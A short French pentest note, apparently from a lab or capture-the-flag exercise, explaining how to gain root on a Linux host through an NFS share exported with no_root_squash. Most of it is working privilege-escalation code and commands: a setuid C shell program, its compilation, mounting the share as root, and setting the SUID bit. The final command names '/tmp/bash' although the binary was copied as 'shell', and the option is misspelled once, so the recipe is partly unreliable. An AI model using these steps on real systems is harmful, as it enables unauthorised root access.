Si un volume est monté en NFS avec l'option "no_root_squashfs", alors ce sont les droits de l'utilisateur qui monte ce fichier à distance qui s'appliquent. Exemple, un serveur a un partage disponible avec cette option activée, si je le monte avec l'utilisateur root de mon host, alors j'ai les droits root sur ce partage également. Le principe est ensuite d'uploader un binaire avec un SUID, pour pouvoir faire une privesc. machine cible: ```bash cat /etc/exports --- /var/nfs/general *(rw,no_root_squash) /tmp *(rw,no_root_squash) ``` Création d'un binaire: ```bash nano -w shell.c ``` ```C #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); system("/bin/bash"); } -------------------------------- gcc shell.c -o shell ``` Le copier sur la machine cible, puis lui donner le suid: ```bash machine host: sudo mount -t nfs 10.129.2.12:/tmp /mnt sudo cp shell /mnt/ sudo chmod u+s /mnt/shell ``` Puis exécuter le binaire sur la machine cible: ```bash /tmp/bash -p ```